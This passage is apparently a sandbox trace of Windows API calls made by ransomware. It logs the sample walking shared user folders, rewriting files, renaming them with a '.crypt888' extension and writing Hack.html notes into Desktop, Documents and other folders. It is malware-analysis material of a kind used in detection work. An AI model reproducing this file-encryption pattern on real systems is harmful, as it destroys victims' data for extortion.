hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0085.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0085.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.951] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html", lpFilePart=0x0) returned 0x26 [0085.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0085.951] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.951] GetFileType (hFile=0x174) returned 0x1 [0085.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0085.951] GetFileType (hFile=0x174) returned 0x1 [0085.951] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0085.951] ReadFile (in: hFile=0x174, lpBuffer=0x281abb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x281abb0*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0085.952] CloseHandle (hObject=0x174) returned 1 [0085.964] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html", lpFilePart=0x0) returned 0x26 [0085.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0085.964] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.965] GetFileType (hFile=0x174) returned 0x1 [0085.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0085.965] GetFileType (hFile=0x174) returned 0x1 [0085.965] WriteFile (in: hFile=0x174, lpBuffer=0x2868d04*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2868d04*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0085.965] CloseHandle (hObject=0x174) returned 1 [0085.966] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html", lpFilePart=0x0) returned 0x26 [0085.966] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2f [0085.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0085.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba355a80, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba355a80, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc46fc300, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0085.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0085.966] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\adobe\\arm\\hack.html.crypt888")) returned 1 [0085.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0085.967] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0", lpFilePart=0x0) returned 0x2a [0085.967] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", lpFilePart=0x0) returned 0x2b [0085.967] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a4e8 [0085.967] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.967] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.967] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.967] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.968] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.968] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0085.968] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0085.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0085.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0085.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0085.968] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0", lpFilePart=0x0) returned 0x2a [0085.968] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", lpFilePart=0x0) returned 0x2b [0085.968] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a4e8 [0085.968] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.969] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.969] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.969] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.969] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.969] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0085.969] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0085.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0085.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0085.970] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", lpFilePart=0x0) returned 0x34 [0085.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0085.970] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.970] GetFileType (hFile=0x174) returned 0x1 [0085.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0085.970] GetFileType (hFile=0x174) returned 0x1 [0085.970] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0085.970] ReadFile (in: hFile=0x174, lpBuffer=0x286c0ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x286c0ac*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0085.974] CloseHandle (hObject=0x174) returned 1 [0085.993] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", lpFilePart=0x0) returned 0x34 [0085.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0085.993] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.994] GetFileType (hFile=0x174) returned 0x1 [0085.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0085.994] GetFileType (hFile=0x174) returned 0x1 [0085.995] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", lpFilePart=0x0) returned 0x34 [0085.995] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3d [0085.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0085.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba355a80, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba355a80, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc47485c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0085.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0085.996] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\hack.html.crypt888")) returned 1 [0085.996] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", lpFilePart=0x0) returned 0x34 [0085.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0085.997] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.997] GetFileType (hFile=0x174) returned 0x1 [0085.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0085.997] GetFileType (hFile=0x174) returned 0x1 [0085.998] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html", lpFilePart=0x0) returned 0x26 [0085.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0085.998] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\arm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.999] GetFileType (hFile=0x174) returned 0x1 [0085.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0085.999] GetFileType (hFile=0x174) returned 0x1 [0086.000] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Hack.html", lpFilePart=0x0) returned 0x22 [0086.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0086.000] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.000] GetFileType (hFile=0x174) returned 0x1 [0086.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0086.000] GetFileType (hFile=0x174) returned 0x1 [0086.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0086.002] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data", lpFilePart=0x0) returned 0x23 [0086.002] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\", lpFilePart=0x0) returned 0x24 [0086.002] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0086.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0086.004] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\Hack.html", lpFilePart=0x0) returned 0x2d [0086.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0086.004] CreateFileW (lpFileName="C:\\Users\\All Users\\Application Data\\Hack.html" (normalized: "c:\\users\\all users\\application data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.004] GetFileType (hFile=0x174) returned 0x1 [0086.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0086.004] GetFileType (hFile=0x174) returned 0x1 [0086.005] WriteFile (in: hFile=0x174, lpBuffer=0x28c4d9c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28c4d9c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0086.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0086.006] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop", lpFilePart=0x0) returned 0x1a [0086.006] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop\\", lpFilePart=0x0) returned 0x1b [0086.006] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0086.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0086.008] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop\\Hack.html", lpFilePart=0x0) returned 0x24 [0086.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0086.008] CreateFileW (lpFileName="C:\\Users\\All Users\\Desktop\\Hack.html" (normalized: "c:\\users\\all users\\desktop\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.009] GetFileType (hFile=0x174) returned 0x1 [0086.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0086.009] GetFileType (hFile=0x174) returned 0x1 [0086.010] WriteFile (in: hFile=0x174, lpBuffer=0x28c7fc4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28c7fc4*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0086.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0086.011] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents", lpFilePart=0x0) returned 0x1c [0086.011] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents\\", lpFilePart=0x0) returned 0x1d [0086.011] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0086.013] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents\\Hack.html", lpFilePart=0x0) returned 0x26 [0086.013] CreateFileW (lpFileName="C:\\Users\\All Users\\Documents\\Hack.html" (normalized: "c:\\users\\all users\\documents\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.013] GetFileType (hFile=0x174) returned 0x1 [0086.013] GetFileType (hFile=0x174) returned 0x1 [0086.014] WriteFile (in: hFile=0x174, lpBuffer=0x28cb21c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28cb21c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0086.015] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Favorites", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Favorites", lpFilePart=0x0) returned 0x1c [0086.015] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Favorites\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Favorites\\", lpFilePart=0x0) returned 0x1d [0086.015] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Favorites\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0086.017] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Favorites\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Favorites\\Hack.html", lpFilePart=0x0) returned 0x26 [0086.017] CreateFileW (lpFileName="C:\\Users\\All Users\\Favorites\\Hack.html" (normalized: "c:\\users\\all users\\favorites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.017] GetFileType (hFile=0x174) returned 0x1 [0086.017] GetFileType (hFile=0x174) returned 0x1 [0086.017] WriteFile (in: hFile=0x174, lpBuffer=0x28ce474*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28ce474*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0086.019] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0086.019] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\", lpFilePart=0x0) returned 0x1d [0086.019] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x599f28 [0086.019] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.019] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.019] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.020] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.020] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.020] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.020] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.020] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.021] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.021] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.021] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.021] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.021] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.021] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.022] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.022] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.022] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.022] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.022] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.022] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.023] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.023] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.023] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.023] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.023] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.023] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.024] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0086.024] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0086.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0086.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0086.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0086.024] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0086.024] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\", lpFilePart=0x0) returned 0x1d [0086.024] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x599f28 [0086.024] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.025] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.025] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.025] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.025] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0086.025] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 